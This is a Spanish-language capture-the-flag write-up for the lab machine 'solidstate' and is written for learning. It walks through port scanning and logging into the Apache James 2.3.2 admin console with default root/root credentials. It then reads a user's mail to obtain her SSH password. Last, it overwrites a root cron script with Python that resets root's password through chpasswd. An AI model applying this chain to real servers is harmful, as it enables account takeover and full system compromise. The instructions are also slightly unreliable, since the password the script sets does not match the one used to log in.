Esta ha sido una de mis maquinas favoritas. Aprendí mucho y estuvo muy interesante.
Como siempre empezamos con un Nmap rápido
root@Kali2:~/Downloads# nmap -sC -sV 10.10.10.51 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-18 16:12 CEST Nmap scan report for 10.10.10.51 Host is up (0.021s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open smtp JAMES smtpd 2.3.2 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.8 [10.10.14.8]), 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok) Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Y al mismo tiempo un nmap completo, que en este caso me mostró un puerto más
PORT STATE SERVICE VERSION 4555/tcp open james-admin JAMES Remote Admin 2.3.2
Con searchsploit vemos una opción:
rooot@Kali2:~/Downloads# searchsploit james 2.3.2 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Apache James Server 2.3.2 - Remote Command Execution | exploits/linux/remote/35513.py
Tenemos que telnetear or NC al puerto que descubrimos despues:
root@kali ~ $ nc 10.10.10.51 4555 JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands //desde aqui cambiamos el password de mindy
Luego entramos a su mail
root@Kali2:~/Downloads# telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USR mindy -ERR USER mindy +OK PASS 123 +OK Welcome mindy LIST +OK 2 1945 1 1109 2 836 . RETR 2 Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for <mindy@localhost>; Tue, 22 Aug 2017 13:17:28 -0400 (EDT) Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) From: mailadmin@localhost Subject: Your Access Dear Mindy, Here are your ssh credentials to access the system. Remember to reset your password after your first login. Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. username: mindy pass: P@55W0rd1!2@ Respectfully, James
Desde aqui descubrimos su SSH key y podemos ver el user.txt.
Despues usamos el exploit y entramos a su ssh otra vez. Esto nos va a dar un NC con más opciones.
Si corremos Lineum veremos que hay un archivo opt/tmp.py que es de root pero podemos modificarlo. Como olía a que se ejecutaba automáticamente lo checamos con cronmintor.sh. Y vemos que efectivamente es asi. Desde aqui lo que hice fue cambiar el contenido de tmp.py
cat /first/file/same_name > /second/file/same_name
a este:
#!/usr/bin/env python import os import sys try: os.system('echo root:password | /usr/sbin/chpasswd && echo "done" > /dev/shm/done.txt') except: sys.exit()
ese archivo cambia el password de root y crea un archivo que se llama done.txt
Despues de eso puedes entrar a ssh [email protected] con password root y la maquina es tuya 🙂
root@Kali2:~/Downloads# ssh [email protected] [email protected]'s password: Permission denied, please try again. [email protected]'s password: Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 root@solidstate:~# cat root.txt b4c9723a28899b1c45db2... root@solidstate:~#
🙂